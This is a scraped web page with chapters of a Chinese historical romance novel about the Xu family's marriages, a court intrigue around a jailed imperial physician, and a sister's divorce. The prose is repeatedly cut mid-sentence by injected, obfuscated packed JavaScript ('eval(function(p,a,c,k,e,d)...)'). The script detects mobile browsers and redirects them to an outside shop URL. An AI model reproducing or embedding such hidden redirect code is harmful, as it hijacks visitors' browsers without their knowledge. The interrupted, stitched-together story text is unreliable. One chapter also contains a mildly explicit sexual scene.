出发前,许恪将宫里的情况与家中说了,祖父赞同他的暂避,父亲却对他带着清妙出游颇有微词。 “如今动乱一触即发,能不到处跑最好,老实待在家更妥。” 许恪微笑,理解父亲的谨慎,但还是解释道:“答应了的事情就要做到,我在不在府里影响不了朝局。” 事事皆需衡量,但在尽可能的情况下,他都会以许清妙的喜好为主。 许恪喜欢她现在这般开心快活的样子,而过去三年的自己应该也是这般纵着她,他了解自己。 他从来视为隐私的书房有专门为她辟出的一排架子,放着她喜欢的话本书册,软榻上有她的绣枕披肩,处处有她存在的痕迹。 虽然现在的许清妙还没想到进入他的书房,但他相信很快就会了。 喜欢一个人就会想了解他,靠近他。 是夜,满天星光下,许清妙披着长袍靠在许恪怀里,数着天上星星,在夜风中听着他讲述十二星宿的故事。 夜很长,他们于星辰下纵情山水、浓情蜜意,却也有人孤身一人枯坐长夜。 · 同一片星空下,大雍朝皇宫内太极殿,整个王朝最有权力的人正枯坐窗前,看着漫天星斗,遮天蔽月。 一身墨袍的皇帝神游天外,身前伺候的御前大总管临福小心翼翼提醒道:“陛下,夜凉如水还是先就寝吧。” 皇帝深沉的目光扫过他,冷声道:“太子一直没有来?” 临福回道:“今儿晌午,太子宫里宣了太医,说是染了风寒病了。” 临福说完,满头冷汗,太子还小又不担事,如今连给国舅爷求情都不敢来,反而再次装病。 这无疑在打皇帝的脸,更何况如今皇帝身体大不如前,已经在为后事考虑。 没人敢说出真相,只盼着皇帝早早下定决心废了太子,改立皇长子,可临福心底清楚,皇帝绝不会换太子。 就如同先帝一般,真坐到了皇帝宝座上,都容不得他人忤逆他的决策,不管这个决策是对或错。 “咳咳咳,将值守太医宣来。” “是,奴才这就让人去办。” 夜幕下的皇城肃穆威仪,太医院里值守的太医仅有李素风和王益,一位垂垂老矣,一位正当青壮。 皇帝身边的内侍深夜来寻当值医正,俩人皆是一惊,连忙跟着内侍一起去了。 皇帝披着厚袍,端坐在榻上,眉目似是过了寒霜冷冰冰地看着他们。 “太子果真病了?” 王益不敢回话,茫然看向李素风,他是今年刚入的太医院,跟在李素风身边做事,这种给太子看病的事情轮不到他去。 皇帝也看向低着头鬓发如霜的李素风,“李医正,如实说来,太子可是真病了?” 近侍们皆知道,皇帝如今在乎的不是太子是不是真生病了,而是太子的不作为,被大皇子压到头上了还懦弱的不敢来面圣为自己的亲舅舅求情。 这样的懦弱无能才是犯了皇帝的大忌,千秋大业如何能交到这样的太子手上? 李素风恭敬磕头,口齿清晰地回道:“禀陛下,正是微臣看诊的,太子殿下身体孱弱,皆因惊恐心病所致,需得安心静养,否则药石无医。” 王益苍白着脸低下头,心中不解素来圆滑惯会打太极的李素风为何像变了一个人,这样直白的诊断别说是皇帝面前就是平民百姓跟前都会换委婉措辞。 冲撞帝王,他是不要命了吗? “放肆,一国太子岂会惊恐,李医正用心险恶至极,朕念你医术精湛留你宫中效命,岂料你恩将仇报!” “来人,将李素风革职,关进大理寺好好查办。” 帝王之怒,雷霆万钧,顷刻间李素风便被拖了出去,无半声辩解。 王益忍着全身发抖,低着头不敢出声,直到皇帝平息的声音从头顶响起:“你来说,太子可有病?” 王益吓破了胆,惊恐回道:“太子康健无忧,望陛下明鉴。” 这简直是糊弄君主的瞎话,可皇帝却笑了:“如此甚好,下去吧。” 临福示意侍从将王益扶着出去,回头看向笑过后一脸阴晴不定的皇帝。 “天亮后宣中书令进宫。” 皇帝的声音透着沧桑和颓废,说完这句话便软倒在了榻上。 临福见状惊呼:“陛下!” “闭嘴,莫惊动众人。”皇帝咬紧牙关虚弱地说出这句话,靠着极强的意志力才没让自己昏过去。 临福惊慌失措地扶着皇帝躺好,“陛下,那奴才去给您端汤药来?” 皇帝最近一直头昏头疼,疼得厉害的时候也有,可没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“知道我喜欢什么样的小娘子呀!” 许清妙很快反应过来,故作懊恼道:“不知道,还是不知道,哥哥从没告诉我过。” 许恪站定,拉过马绳,踩上马镫翻身上马,紧紧地搂着她低声哄道:“我喜欢你,可知道?” 风知道,云知道,许清妙也知道了。 美好的时光,眨眼便过,他们第三日午后回了家。 回家后,许清妙直接回了后院休息,许恪衣服都没换便被祖父招进了书房。 许坚眼神复杂地看向儿子问道:“可知道前儿一早陛下发了赦令?” 许恪喝了茶低声回应:“知道,赦免了国舅爷死罪,只降了爵位。” 老爷子拿着卷书,听他们父子说话,老神在在。 许恪看了祖父一眼,安抚道:“父亲,如此证据确凿的事情,陛下都能容忍,你说大皇子有多少胜算?” 31. 第 31 章 一场有预谋的精心陷害与绝地反扑,随着皇帝赦令的颁布,如流星般在朝堂划过,坠入历史的尘埃。 烈日渐渐褪去余威,暮色氤氲,大理寺收监的大牢中阴凉生寒,满头白发的李素风身形单薄的靠坐在窄窗之下。 狱卒陈进拎着食盒走近,“李大夫,用饭了。” 李素风撩起厚厚的眼皮看了过去,颤巍巍地站起来,“怎么又来了?仔细牵扯上你。” 陈进四方脸身材高大,躬身蹲下将饭菜端出递给他,低声说道:“听说陛下病了,恐怕不会再为难李伯您了。” 在他看来,李素风只是因为性子太直,将太子病情说得太直接了,才会惹怒了皇帝被关进大理寺,只要过了这阵风头自然就会被释放了。 李素风端碗的动作一顿,侧头看向他:“你听谁说的?” 陈进轻咳一声压着嗓子道:“今儿收监了一个犯人,听那犯人说的。” 李素风严肃提醒他:“不可再提这事,下回让别人来送饭,你别再来了。” 他不想再牵连其他无辜的人。 那日在皇帝跟前,他并不是不知道该如何回话,只是心底终究为曾经的主子乾德太子抱屈。 同样的怯懦无能,皇帝满嘴江山社稷为了皇位能狠心逼杀嫡亲兄长,如今他倒要看看皇帝要如何对待自己的亲儿子。 “呵!” 李素风为人一向和善,如今露出这般嘲讽的笑容来,定是想起了什么极其难受的事情来了。 陈进不敢打搅,蹲在一旁看着。 李素风用了饭,将碗还给他,再次交代:“别来了,给你娘开的药方够她痊愈的了。” 说完,顿了一瞬又低声道:“如果有机会见到翰林院许恪,烦请你给他带句话。” 陈进不认识许恪,但听过许翰林的美名与才名,“您想跟他说什么?” 李素风浑浊的眼中露出些许笑意,缓缓道:“就说我给他的那风寒方子好好留着。” 陈进认真地应下,暗道许翰林大概也是和他一般向李大夫求过药方。 “好了,走吧,别来看我了,要真留着一条老命,我自会去找你们。” 他的家人早就在那场宫变中死光了,这些年虽然任职太医院,却再没有成家。 左右不过是两袖清风孤家寡人罢了,又怎么会怕死呢? 陈进走后,李素风又恢复了原来的样子,呆坐着不发一言。 · 夏末骄阳似火,许府迎来了最热闹的团聚,二房许晃终于结束二十年的外派进京了。 许府上下张灯结彩,热闹非凡,堪比过年。 许清妙跟在王氏身边帮着张罗府里的事项,过得倒也是自在,只是这半个月许恪却整日早出晚归。 太子病好后,恢复了读书上课,只是卧床养病的皇帝将太子接到了属宫亲自检验学业。 而许恪也随之过去,并再次履行翰林学士职责为皇帝内制诏书。 一时间,倒显得“炙手火热”。 主宅正房院子里在设宴,王氏领着刚刚归家的大姐二姐说话。 或是有什么话要私下说,转头便将许清妙支开了。 “三娘,快去催催你二伯母,这要开席了怎地还没过来。” 许清妙嗔道:“二伯母正在屋里跟四妹妹说体己话呢,娘肯定是要与大姐姐二姐姐说体己话,这才将我支走的。” 说完,她便笑着行了礼往外走。 许大姐想去拦她,被王氏阻了,等许清妙走远才说道:“娘有话跟你们说,三娘是需要避开的。” “可娘这般,让三妹妹心里难过了,她把您当亲娘孝顺的呢。” 王氏颔首笑道:“话是这么说,但我要说的话确实不适合她现在听了,女儿变成了儿媳,这话能一样吗?我让你们看紧姑爷防着妾室,这跟她怎么说?让她闹你弟弟不许他纳妾?” “这婆媳婆媳再不是娘俩了,有些话就得变了,你们说是不是?” 许大娘和二娘对视一眼,都看到了对方眼里的无奈。 三妹妹也太可怜了。 许清妙心底那点不爽在见到许恪那刻烟消云散了,左右她从来没将王氏当亲娘,也就算不上太在意她的态度。 绕过花厅,许恪着一身墨绿色官服,头戴舒角幞头,脚踩虾蟆头厚底皂靴,缓缓走来。 许清妙踩着小碎步轻盈地迎了上去,惊喜道:“哥哥,怎么这个时辰回来了?” 许恪伸手握着她手腕,轻轻带着她走到廊下,避开来来往往忙碌的丫头仆妇。 眼底浅浅笑意,看着她道:“自然是告了假,陛下与太子殿下都知晓今日二叔回京,府里备了接风宴,特准我今儿早点归家。” 当今圣上杀伐果断,但也不苛刻臣下,如今卧病在床性情更是捉摸不透,但既然开了恩典,他自然谢恩。 “怎么一人站在外面,大姐二姐他们呢?” 今日设宴全是自家人,席面便不分男女设在了后院,郎君在前院说话,娘子们应该是在后院热闹说话才对。 却见她一人孤单单的站在屋外。 许恪皱眉看了周围,又看向许清妙,等着她回话。 许清妙知道瞒不过聪慧的长兄,只得如实交代:“二伯娘在和四妹妹说话,娘在跟大姐二姐说话,我都不方便听的。” 至于,为何她不方便听,倒不用细讲。 许恪牵着她往屋里走,许清妙吓得以为他要去找王氏,连忙拉住他。 “哥哥,我不去里面。” 许恪停下看她,抬手捏了捏她的脸颊,“想什么呢?带你去屋里说话而已,我们俩说。” 许清妙似乎瞬间领悟了他话中深意:她们说她们的,她可以跟他说体己话。 许清妙圆圆的眼睛,迸发出光彩,立马高兴道:“好,跟哥哥说。” 许恪暗道,三妹妹嫁给他还是受委屈了,他母亲那里还是少去为好。 门一合上,许恪便搂着她坐在了榻上,这般还不够,直接将她抱坐在了膝上。 “哥哥,官服会弄皱的。”她的手撑在他胸口,提醒他。 许恪轻笑:“无妨,待会用了饭再回去更换,现在先说说体己话。” 许清妙捂嘴笑出声:“哥哥可知道娘会跟二位姐姐说什么吗?” 许恪不在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14253042|149089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意地摇摇头,“请夫人赐教。” 许清妙推了推他肩膀,戏谑道:“娘肯定会使出浑身解数教导姐姐们如何套牢夫君,如何智斗小妾,再如何防着庶子。” 许恪看着她不语,许清妙连忙补充道:“哥哥,我不是在埋汰娘,主要我真听过这些。” 许恪挑眉,鼻尖蹭着她的额头,轻声道:“几时听过?” 许清妙糯糯道:“及笄后娘就跟我讲过了,敬夫君顺公婆外,还得长点心眼防着妾室庶子,抓牢丈夫的心。” 她说完抬眼看他,着官服的他严肃干练,这般清俊的模样却正放肆地抱着她,蹭着她。 “那你学会了吗?” 许恪的声音低低沉沉,似是没在意她说的这些话,随意地问道。 许清妙双手搂着他的脖子,蹭了蹭他的脸颊,笑道:“哥哥没给我这个机会,谢谢哥哥。” 许恪捏了捏她的腰侧,淡淡道:“那你要怎么答谢?” 他低下头的鼻息越来越近,许清妙连忙伸手捂着他的嘴,提醒道:“很快就开席了,不能亲。” 许恪没管她的手,依旧埋下头靠在她的颈侧,双臂搂紧了她的腰背。 濡湿从手心传来,许清妙烫的松开了手,抓着他的衣襟不敢再松手。 “不亲怎么谢我?清妙,跟你说过很多次了,我们之间永远没有妾室,不管是现在还是以后,都不要有这方面的顾虑。” 她的话何尝不是一种试探与担忧,许恪知道或许连她自己都没察觉到,但还是证明了他做得不够。 许清妙勾唇轻轻地笑开,“嗯,我会好好记着的,那我也告诉哥哥,其实娘那样做我并不难过,我只是羡慕大姐他们有娘亲而已。” “要是我娘还在世,她肯定也会交代我好些事情,可惜,我连她长什么样子都不知道。” 许恪紧了紧抱着她的手臂,安抚道:“再等等,已经在调查了。” 许恪已经问过三叔许驰,从他那里只知道她娘叫丽娘,其他一概不知。 他知道三叔没有撒谎,所以更觉得蹊跷,这才会安排人去继续打探。 许清妙窝在他怀里,颔首道:“也不是着急,就是想知道而已,哥哥懂吗?” 许恪低头亲了亲她的眼睛,“懂,怎么不懂,大家都有亲娘,我们妙妙也要有。” 许清妙噗嗤笑出声:“哥哥,你这语气好像我爹啊。” 许驰就是喜欢这样逗许清妙的,每次给她送东西都爱说“别人有的我们妙妙也要有呀。” 许恪勾唇浅笑:“三叔是个好的父亲。” “那当然了,我爹除了妻妾多了点,哪哪都好。” 俩人在屋里厮磨好一会,才被鹊枝提醒该入席了。 许清妙站起身理衣袍,转身就见许恪仍旧坐着不动,不由疑惑道:“哥哥怎么不起身?” 许恪低头看了眼,灼灼看着她道:“还得歇会才行。” 她立马脸红红的笑道:“嗯,哥哥慢慢歇会,我先去找四妹妹了。” 今日四妹妹好不容易回来了,她还得找四妹妹和解呢。 说完,笑着看了他一眼,转身出去了。 32. 第 32 章 夕阳斜挂屋檐,晚霞铺满院子,席间欢声笑语。 主桌的老爷子和老太太正与二爷许晃说笑谈话,桌上坐着的其他人也都是自家儿郎。 说笑自然无太多拘束。 许清妙与女郎们另坐一桌,入席后转头在人群里找到了许恪,只见他端坐在大伯身旁,嶙峋白皙的手指正捏着酒杯与许意、许琏碰杯喝酒。 许是她找许恪的目光太过明显,大姐许清霜笑着调侃道:“三妹妹这是在找大郎呢!怎么想大郎来给你挡酒不成?今儿我们姐妹相聚你可不要扫兴哦。” 许清霜性格开朗,从小就爱逗她们这些做妹妹的,语气也拿捏恰当。 许清妙对着许清霜皱了皱鼻子,娇嗔道:“大姐就会取笑我,我是担心哥哥们喝多了难受。” 二姐许清岚接过话头,戳破道:“二郎三郎都是海量,就大郎酒量差些,三妹妹这是明目张胆地心疼自己夫君呢。” 三人你来我往地说笑,抬眼间瞧见坐在一旁的许清霜,冷漠着脸,一言不发。 那明显哭过的眼角还泛红,只冷清清地低着头喝酒,似乎姐妹间的热闹与她无干。 许清霜见此收了笑,忧心问道:“四妹妹莫要一人喝闷酒,有什么不顺心的事跟姐姐们说道说道?” 许清雾撩起眼皮看向她们,一一扫过最后停在许清妙脸上,看了片刻又转了头,继续喝酒。 在大家以为她不会说话时,只听她饱含幽怨地说道:“三姐今日的快活可是心安理得?” 许清妙心里对她确有些许愧疚,但听了这话也不由难受,只冷静反问:“四妹是不是认定全是我的错?那你应该记得,我当初只是退了婚,并没有让你去替我,所有决定都是你自己做的。” “你心里难受不好过,我都能体谅,可是能不能不一味沉浸在怨恨当中丧失了本性?” 许清雾冷眼瞥着她,冷冷道:“三姐说的轻松,嫁给胡大这样的人是我,不是你,你自然无法感同身受。” 许清霜拉了拉许清妙,示意她不要再说。 许清妙按下长姐的手,坚持说问道:“那四妹妹可愿和离?若你愿意,家里也定会为你做主,让你重新嫁人。” “你!”许清雾红着眼眶满眼震惊地看着她。 “怎么?你既然过得不如意,难道从来没有想过和离?” 许清雾似是被打破了结界,愣愣地定在那,半响没回应。 大雍朝女子和离早有先例,但在世俗礼教的压迫下,和离的女子少之又少。 许清雾从没想过和离,她这三年来自怜自艾,怨许清妙悔婚,怨父亲狠心,也怨胡庆堂的无情无义,可她从没想过向家里求援,她从心底认定家里不会愿意看到嫁出去的女郎和离回家。 可许清妙就是能这般轻易地提出来,理所当然地告诉她,她还有退路她能回家。 许清雾心底像被人拧住般酸涩,恍惚间想起三年前那个深秋,她仓促间赶到京城待嫁。 那时候的许清妙已经从许家三房除名,却依旧来问她是否真心想嫁给胡庆堂,如果不愿意现在说出来还不迟。 她拒绝了她的好意。 如今她却再次认真地告诉她,和离也来得及。 许清雾茫然四顾,第一次用不解的目光打量她这位三姐姐,外表看起来甜甜糯糯性子极软,可实际上她的主意是真的大,什么都敢想敢做。 她突然就了悟,恐怕也只有这样的性子才有勇气在婚前悔婚抗争,有勇气不顾世俗眼光嫁给自己的长兄。 席间气氛一瞬间冷掉,许清雾红着眼睛看着许清妙,再次一言不发,众人不知所措。 许清妙手心也偷偷汗湿,她长这么大还没如此据理力争地与自家姐妹争辩过,心底也忐忑不安,怕言语过激惹得四妹更怨自己,又怕四妹不能清醒依旧自苦。 只是说出这些话,她是真心希望四妹妹能早日打开心结,重新过上自己想要的日子。 可惜许清雾一直低着头没有再说话。 她们这场酒喝得短,很快就散了席,几人恢复了说笑,簇拥着老太太回了院子说话。 院子里剩下的叔伯兄弟依旧把酒畅谈。 许琏多喝了几杯,高举着杯子嚷嚷道:“待我当上禁军统领定要领军作战,男儿志气马上闯!” 他喝得满脸通红,职权不大口气却很大,众人觉得没眼看,无人响应他。 一家团聚的日子,老爷子脸上也挂着笑,不似平常的淡然出尘,捋着胡子道:“三郎你往后多回家,别一人老歇在禁军值房里。” 许琏颔首乖巧应下。 “还有二郎,如今生意搬到京城了,往后就住家里,别老是一年到头不着家。” 许意摸了摸鼻子也爽快应了。 老爷子又转头看向许恪,似乎想了一会才开口叮嘱:“如今在圣上跟前听令,更得细心谨慎,切不要搅合进党争当中,可知道?” 许恪恭敬应下,“祖父放心,孙儿知道轻重。” 老爷子一番交代完,酒宴也就散了,许琏被丫头们扶着回了屋洗漱,许意没喝醉,自己走着回了他的院子。 只许恪行了礼后,折身去了老太太的院子。 暮色四合。 雅致的院子里花树错落有序,枝桠间挂着彩带、红绸,许恪一路上酒热发散,心底顿觉生出几分急促,只想尽快接了人回自己屋。 隔着画壁,他远远便听到屋子里的说笑声,老太太正在与孙女们打雀牌。 许清妙糯糯的声音传入他耳中:“祖母欺负人,这牌是故意喂给大姐姐吃的。” 笑声渐起,老太太爽朗的声音回道:“那当然了,你现在嫁了大郎成日在府里晃,祖母自然更稀罕你的姐妹们了,她们下回还不知道什么时候见得到呢,祖母老了见一回少一回的。” 笑声间歇,许清妙清脆脆的说道:“那让姐妹们在家多住段时日吧,也好多陪陪祖母。” 几人听了这话都了然她的意思,老太太顺着话说道:“你大姐姐二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14262725|149089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐姐有孩子要管教,哪里能在娘家多住的?” “四娘倒是可以在家里安心住下,你可愿意?” 老太太突然发问,看向一直在旁边默默喝茶的许清雾。 许清妙听了连忙脚下踢了踢她,祖母发话了这样的好机会,这妹妹不会犯傻拒绝吧。 老太太话里的意思就是要给她撑腰的呀,许清妙心底暗暗惊叹,原来这些事老太太都门清吗? 许清雾回神,起身行礼,眼底湿润地轻声道:“孙女听祖母安排。” 屋里屋外的人听了她的回话,皆松了一口气。 许恪勾唇笑了下,不枉费他前日在老太太面前说的那番话,如此清妙心里减了负担,四妹妹也能得到解脱。 锦棉打帘子出来,见到许恪正站在门外,连忙行礼道:“翰林怎么不进屋?” 许恪淡淡道:“她们正玩的高兴,我就不进去打搅了。” 锦棉微怔,转眼便见许恪掉头走出了院子。 清冷挺拔的背影走入夜色中,丝毫不在意身后看着他走远的目光。 锦辛站在锦棉身旁,感叹道:“棉姐姐,翰林待三小姐可真好呀。” 锦辛是老太太跟前泡茶伺候的老人了,一时不慎又叫了许清妙三小姐。 锦棉转头瞪她,严肃纠正道:“叫少夫人,再叫错仔细老太太罚你。” 锦辛拍了拍嘴,举着手指发誓:“嗯嗯,绝对不会了。” 等锦辛走开了,锦棉不由想起当初也是这样的夜色里,还只是状元郎的许恪身姿笔直的跪在夜色里求老太太成全。 许家大少爷娶许家三小姐为妻,最反对的人不是大夫人和大爷,而是吃斋念佛看重子嗣传承、府宅脸面的老太太。 锦棉一直伺候在老太太身旁,清楚地看着丰神俊朗的状元郎是如何卑微地祈求自己的祖母,将身体最隐晦的隐疾都敞开了告诉老太太,就为了换取老太太的心软。 还好老太太确实是个心软的性子,最后同意了,她不敢想象如果老太太最后不同意大少爷会要怎么办。 艰辛那句话说的一点没错,大少爷就是对大少夫人极好的,好到这世间怕是再无人能如此了。 锦棉站在屋外良久,直到屋里老太太与小姐们玩得尽兴,她才转身进屋,提醒老太太该休息了。 她看得出翰林喝了酒,像是特意来接少夫人的,为了让少夫人玩得尽兴才忍着没有去打搅。 许清妙没想到事情如此顺利,等到锦棉提醒老太太该休息了,她才告别了老太太回自己院子。 朦胧夜色下,许恪洗漱正躺在竹榻上散酒热,紧闭着眼睛似是睡熟了。 “哥哥,可是睡着了?” 许恪勾唇回道:“嗯,睡着了,夫人可玩得尽兴了?” 许清妙挑眉,了然道,“哥哥怎么知道我在祖母院里玩牌了?” “可是哥哥去找过我了?” 许恪闭着眼,一把将她拉进怀里,摩挲着后背低声道:“嗯,想你了。” 33. 第 33 章 院子里的风时歇时起,吹动屋檐下的铜铃,撞击出断断续续的悦耳声音。 夜色尚浅,半掩着的雕花窗下,许清妙躺在软榻上轻轻喘气,十指紧紧抓住许恪的后颈,任由他借着酒意为所欲为。 他说他想她,直白而热烈,她却忍不住笑话他,就这么一会想她什么呢? 许恪沉沉的双眸盯着她半响,翻身就用行动告诉她想了什么,亲吻触碰,直抵灵魂的拥抱,他用最有力的回应告诉她,他是如何想她的。 屋外伺候的丫鬟早已偷偷躲远,许清妙却仍旧死死咬着唇瓣,生怕一个不留神泄了声响。 带着薄茧的手指抚上红透的唇瓣,重重揉开,许恪的声音从身后贴近她的耳侧,低低地哄道:“别咬自己,实在难忍就咬我。” 夫妻间有些话实在是触类旁通,她听懂了他的意思,舌尖舔过他的指尖,轻哼一声张嘴咬住。 只听他似是被咬疼了,闷哼堵在了嗓子里,双臂更加用力地将她抱紧,似要揉碎在他怀里。 春宵酒酣,饮风醉月。 许清妙暗叹,哥哥喝的酒恐是全发作在了她的身上,她只觉得整晚浮浮沉沉、身不由己。 待到再有意识清醒过来,窗外天色已大亮,身旁也已空无一人。 撑着乏力的身子坐起,抬眼看去,昨夜荒唐弄乱的软榻、椅凳已全部摆正,胡乱脱下的衣物也不见了踪影,整个屋里整理得干干净净。 许清妙感到喉咙发痒,轻咳一声,门外就响起鹊枝的询问声。 “少夫人,可是醒了?” 许清妙低头掩上被子,想盖住身上痕迹,却是徒劳,到处都是如红梅般的印子,哪里遮得住。 “进来吧。” 鹊枝进屋后,习以为常地给她穿衣挽发,等一切收拾妥当才开口道:“少夫人,翰林交代今儿会晚点回家,让您不用等他用晚膳。” 许清妙颔首,换上舒服的荷叶绣鞋起身,边走边道:“嗯,先用早膳,我饿了。” 鹊枝捂嘴轻笑,“午膳时辰都过了,这会备的是午膳,有您爱吃的芙蓉油酥鸡和百合鲜肉羹,八宝饭也是添了蜜枣闷出来的。” 许清妙扯了扯唇角,这下好了,睡到下午了,“大姐姐她们没有找我吧?” 鹊枝扶着她进了饭厅,伺候的婢女端上热腾腾的饭菜,待她坐好,鹊枝才回话:“翰林让怜星去知会了,大小姐她们晚膳前让您去老太太院里找她们玩。” 许清妙刚端起的碗差点没端稳,她们怕是要笑话她。 “她们可有说何事?没正事我今儿可不想去。” 打牌逛园子她都没精力,吃完还想回去躺一躺,实在是感觉浑身还在发软。 鹊枝轻声细语道:“是四小姐有话跟您说,说你不去那她来您院子里找你也成。” 许清妙提着筷子还没动手,不由为难道:“那还是我去吧,你派个人去回她,就说我睡完午觉就去找她。” 四妹妹要说什么,她心里还是有些数的,况且她愿意与她说话了,总算是和解的开始。 · 钟送黄昏,艳阳西坠时,许清妙穿着一身清隽薄纱襦裙,挽着低垂斜发髻,摇着团扇翩翩然出了院门。 鹊枝跟在身后叽叽喳喳,诉说着院子里今日发生的各种事情。 “三少爷喝醉了,昨夜里一直拉着给他送醒酒汤的小丫头不放手。” “二少爷今儿晨起又带着云竹回了制衣坊,这回俞娘都没跟着来呢。” “小姐,还有一件事,奴婢觉得该告诉您一声。” 许清妙远远望着院子墙角那株青梅,不甚在意地回道:“什么事呢?” 鹊枝凑近她耳边嘀咕道:“大夫人院子里的香云被三爷收了房,当通房丫头去了。” 许清妙微张着嘴惊讶地看着向鹊枝,“啊?李氏能同意?香云愿意给我爹当通房?” “听三爷院里的丫鬟说,三爷直接问大夫人要的,三夫人碍着大夫人的面子没发作呢。香云愿不愿意那就不重要了,三爷看上了,她也不敢说个不字吧。” 许清妙皱眉,她知道自己爹不大靠谱,喜欢美人,但绝对不是那种不顾廉耻的好色之徒,这么些年来,除了续弦的李氏,也就是两房貌美的良妾和外面一房柔弱外室。 怎地突然看上香云了? 香云在许家也不是一天两天了,要真喜欢香云不会等到现在才收了房。 许清妙越想越觉得奇怪,不解地问道:“那你可知道香云怎么凑到我爹跟前的?” 鹊枝摇了摇头,“那奴婢就不晓得了,香云一直在大夫人身边伺候,昨日摆宴大夫人还派香云端醒酒汤给各位主子呢。” 许清妙好好的心情被毁了,总觉得这事不对劲,可这种事情放在大家族里稀疏平常,并不值得她大惊小怪的。 可对象是自己从小就敬重的父亲,就觉得不那么可以无视了。 “走吧,先去见了四妹妹,再去看看我爹去。” 俩人不再游园子似的慢慢走了,加快了步子赶到老太太那。 院子里比昨日安静多了,她依着规矩进了屋子,给老太太请安,正赶上老太太在念佛经,便打发了她出去。 锦棉从院子外进来,走到她跟前行礼:“少夫人,大小姐她们都在隔壁亭子里等您。” “好,那我去找她们。” 等她找到亭子里时,远远只见到四妹妹许清雾站在那,目视着西边的落日,余晖似火映在她脸上,显出难得的平静安详。 许清妙让鹊枝停步,自己走了过去。 “四妹,怎么一人站在这里,是在等我吗?” 许清雾转身看向她,目光冷清但不再无视她。 “嗯,我在等三姐过来,有话想对你说。” 许清妙知道她是有话说,笑着用轻松地口吻回道:“那你说吧,我听着呢。” “我不想跟你道歉,但我要谢谢你,三姐。” 许清妙颔首,无所谓道:“没事,我也没生气就是担心你。” 许清雾眼神复杂地看着她,“三姐,先听我说。” “我心底羡慕你、怕跟你做比较,每次见到你都想躲起来,更不想跟你说话。我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14272907|149089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 承认是有怨你们,但细细想来更多的是怨自己不争气,明明一开始就知道他是那样的人,却还心存幻想,以为自己会是与众不同的那一个,可直到被撕破了幻想,也只会自怨自艾地怪家里人。” “我这样子,是不是特别叫人瞧不上?” 许清雾脸上白白瘦瘦,一双眼睛红红的,看起来特别自责悔恨,让人根本责怪不起来。 许清妙伸出双手抱了抱她,入手的身体消瘦见骨,令人心疼。 “四妹,你忘了曾经的自己是什么样吗?” 许清妙声音轻缓,眼神坚定地看着她,“秀外慧中,傲雪迎霜,这是那年梅林赏雪时大哥给你的评价,你还记得吗?” 从前,她是一只糯糯的雪团子,许清雾就是清高自持的寒梅,家里人赞赏许清雾的人更多。 只是一次婚嫁的失败,令她忘记了曾经优秀的自己。 许清雾猛地扑进她怀里,泪如雨下,一遍遍呢喃道:“三姐,对不起,对不起,我不该如此。” 这一刻,许清雾顾不得那点最后的面子,扑在许清妙肩头哭得难以自己。 晚风吹过,吹走了忧伤。 许清妙眯着眼睛拍了拍她的背,笑道:“四妹妹,咱们是姐妹对错有那么重要吗?跨过一次次困难,始终念着彼此才是要紧的,不哭了,等哥哥帮你和离了,一切都能重新开始的。” 许清雾哭够了,抬眼看她,喃喃道:“大哥也知道了?” “自然,上回他还让胡庆堂转告你回家一趟,想必那人是没告诉你吧。” 许清雾茫然摇头,她不知道原来自己的那些不幸,家里兄弟姐妹都在关注着,可她却只想将自己藏起来不见人。 许清妙拉着她手,认真问道:“那你现在能肯定地告诉我,你愿意与胡庆堂和离吗?” 许清雾缓缓点头,“愿意的,我再不要过那种枯坐整晚的日子了。” · 隔日,许三爷和许恪许琏三人去到胡家,商谈和离之事,许清雾的贴身丫鬟跟着过去收拾嫁妆。 许二爷拉不下面子,没有出面,只让许琏跟着去的。 胡家主院,许三爷拿出许清雾签好字的和离书,大理寺少卿胡汇中忍着满腔怒火同意了和离之事,嫁妆田产铺子一应让许清雾带了回去。 和离书签下,两家再无姻亲之谊。 许家人走后,胡庆堂不服气地辩解道:“她许三娘善妒容不得人,离了我看谁还要她。” 胡汇中气得一个巴掌扇了过去,咬牙悔恨道:“孽障,全被你娘惯坏了,许家下一代有许恪许琏,我们胡家有什么?有你这个吃喝嫖赌的纨绔?你还嫌弃许家女儿,人家嫌弃你才要跟你和离的,你醒醒吧!” 胡家大夫人脸上青一阵白一阵,再多辩解之词也无从出口。 胡庆堂低着头唯唯诺诺,不敢吭声了。 